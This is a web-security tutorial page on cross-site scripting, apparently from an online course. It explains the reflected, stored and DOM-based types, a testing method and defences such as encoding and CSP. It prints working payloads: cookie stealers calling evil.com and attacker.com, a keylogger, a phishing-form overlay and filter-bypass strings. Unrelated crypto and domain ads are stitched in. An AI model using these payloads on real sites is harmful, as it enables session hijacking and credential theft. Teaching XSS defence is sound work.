cross site scripting xss

Cross-Site Scripting (XSS): How It Works, Types, Exploitation, and Prevention

๐Ÿ“˜ cybersecurity-academy · Part 10 of 15 · Module 4 · Web Security
A free, step-by-step course on buying, selling & trading domains. View the full series →
Cross-Site Scripting (XSS): How It Works, Types, Exploitation, and Prevention
Key takeaways
  • Stored XSS is the most dangerous type โ€” the payload persists in the database and attacks every visitor automatically.
  • Context-aware output encoding is the primary defense: HTML entity encoding in body, JavaScript encoding in scripts, URL encoding in parameters.
  • Content Security Policy (CSP) is critical defense-in-depth โ€” it prevents inline scripts from executing even if XSS payload is injected.

Understanding cross site scripting xss is the foundation of this guide. Below we break it down step by step so you can act with confidence.

Cross-Site Scripting (XSS) is the most common web vulnerability by volume. It allows an attacker to inject malicious JavaScript into web pages viewed by other users. When a victim visits the page, the script executes in their browser โ€” stealing cookies, hijacking sessions, defacing pages, or redirecting to phishing sites.

XSS is especially dangerous because it attacks the trust a user has in a website. The malicious script runs as if the legitimate site sent it.

Cross Site Scripting Xss: Types of XSS: Reflected, Stored, and DOM-based

There are three types of XSS, each with a different injection and delivery mechanism:

  • Reflected XSS โ€” the payload is in the URL or form submission. The server reflects it back in the response. Requires the victim to click a crafted link.
  • Stored XSS โ€” the payload is saved in the database (comment, profile, message). Every user who views the page gets hit. Most dangerous.
  • DOM-based XSS โ€” the payload never reaches the server. Client-side JavaScript reads from the URL or DOM and writes it unsafely.
๐Ÿ”ฌ Demo: Reflected XSS in action
# Vulnerable search page:
# URL: https://site.com/search?q=laptop
# Page shows: "Results for: laptop"

# XSS attack โ€” inject script via the search parameter:
https://site.com/search?q=<script>alert('XSS')</script>
# Page shows: "Results for: " + executes the alert

# Steal cookies:
https://site.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

# The victim clicks this link (shortened/disguised),
# their session cookie is sent to the attacker's server,
# and the attacker can now impersonate them.

Reflected XSS requires social engineering (getting the victim to click a link), which is why stored XSS is considered more severe โ€” it requires no victim interaction.

Stored XSS: the most dangerous type

Stored XSS persists in the application's database. Every user who views the affected page is attacked automatically.

๐Ÿ”ฌ Demo: Stored XSS on DVWA
# DVWA Stored XSS page โ€” a guestbook with Name and Message fields

# Step 1: Test for XSS
Name: test
Message: <script>alert('XSS')</script>
โ†’ Stored in database. Every visitor sees the alert.

# Step 2: Cookie stealer
Name: Hacker
Message: <script>
  new Image().src='https://attacker.com/steal.php?cookie='+document.cookie;
</script>
โ†’ Every visitor's session cookie is sent to attacker.com

# Step 3: Keylogger
Name: Logger
Message: <script>
  document.onkeypress = function(e) {
    new Image().src='https://attacker.com/log?key='+e.key;
  };
</script>
โ†’ Everything typed on the page is sent to the attacker

# Step 4: Phishing overlay
Name: Phisher
Message: <script>
  document.body.innerHTML = '<h1>Session Expired</h1>' +
    '<form action="https://attacker.com/phish"><input name="user" placeholder="Username">' +
    '<input name="pass" type="password" placeholder="Password">' +
    '<button>Log In</button></form>';
</script>
โ†’ Replaces the entire page with a fake login form

Finding XSS: methodology and payloads

Testing for XSS systematically:

๐Ÿ”ฌ Demo: XSS testing methodology
# Step 1: Identify all input points
# - URL parameters (?q=, ?name=, ?redirect=)
# - Form fields (search, comments, profile fields)
# - HTTP headers (User-Agent, Referer โ€” rarely reflected but worth checking)
# - File uploads (SVG files can contain JavaScript)

# Step 2: Test with a basic probe
<script>alert(1)</script>

# Step 3: If blocked, try bypass payloads:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
"><img src=x onerror=alert(1)>
'-alert(1)-'

# Step 4: WAF bypass techniques:
<ScRiPt>alert(1)</ScRiPt>           (mixed case)
<script>alert`1`</script>            (template literals)
<img src=x onerror="&#97;lert(1)">   (HTML entities)
<script>eval(atob('YWxlcnQoMSk='))</script>  (base64)

# Step 5: Context-aware payloads:
# Inside HTML tag attribute:
" onmouseover="alert(1)
# Inside JavaScript string:
'; alert(1); //
# Inside URL parameter:
javascript:alert(1)

Always test in the context where your input appears. An XSS payload that works in HTML body might not work inside a script tag or an attribute.

Explore Crypto Trading

Cryptocurrency trading is one of the fastest-growing financial markets โ€” open 24/7, globally accessible, and full of opportunity for those who learn the fundamentals first.

  • Trade spot, futures & copy-trading on one platform
  • Start with as little as $10 โ€” practice risk-free on the testnet
  • Built-in TradingView charts, grid bots & DCA tools

Free Crypto Trading Academy → ยท Domain Trading Academy →

Preventing XSS: output encoding and CSP

XSS prevention requires encoding output based on the context where it appears:

๐Ÿ”ฌ Demo: Secure output encoding
# โŒ VULNERABLE โ€” raw output:
<p>Hello, <?= $name ?></p>
<script>var user = '<?= $name ?>';</script>

# โœ… SECURE โ€” context-aware encoding:

# In HTML body โ€” HTML entity encoding:
<p>Hello, <?= htmlspecialchars($name, ENT_QUOTES) ?></p>
# <script> becomes &lt;script&gt; โ€” rendered as text, not executed

# In JavaScript โ€” JavaScript encoding:
<script>var user = <?= json_encode($name) ?>;</script>
# json_encode escapes quotes and special characters

# In URL parameters โ€” URL encoding:
<a href="/search?q=<?= urlencode($name) ?>">Search</a>

# Content Security Policy (CSP) header โ€” defense in depth:
Content-Security-Policy: default-src 'self'; script-src 'self'
# This blocks ALL inline scripts โ€” even if XSS payload is injected,
# the browser refuses to execute it.

# CSP report-only (monitor without blocking):
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

The best defense is: (1) output encoding everywhere, (2) a strict CSP header, and (3) HttpOnly + Secure flags on session cookies (so XSS cannot steal them).

When evaluating cross site scripting xss, start with the fundamentals: what problem it solves, who it serves, and how it compares to the alternatives buyers consider first.

WSOT 2026: Squad Leader Slots Are Open โ€” Up to $128,000 per Leader

Join Now

Frequently asked questions

What is the difference between XSS and SQL injection?

SQLi attacks the server's database through the backend. XSS attacks users' browsers through the frontend. SQLi steals data from the server; XSS steals sessions, credentials, and actions from users. Both exploit untrusted input, but the attack targets are different.

Can XSS be dangerous if I have HTTPS?

Yes. HTTPS encrypts the connection, but XSS runs inside the browser after decryption. HTTPS protects data in transit; XSS operates after the data arrives. They solve different problems.

Free Courses โ€” Learn New Skills

No sign-up · No fees · Learn at your own pace

Start Trading

Trade crypto and premium domains โ€” digital assets with real opportunities.

Find your name on Atom

DominantBrand curates the best premium, brandable names from Atom.com — the marketplace with a free AI appraisal, a USPTO trademark check, and secure escrow. Every listing even ships with a designed logo.

Browse Domains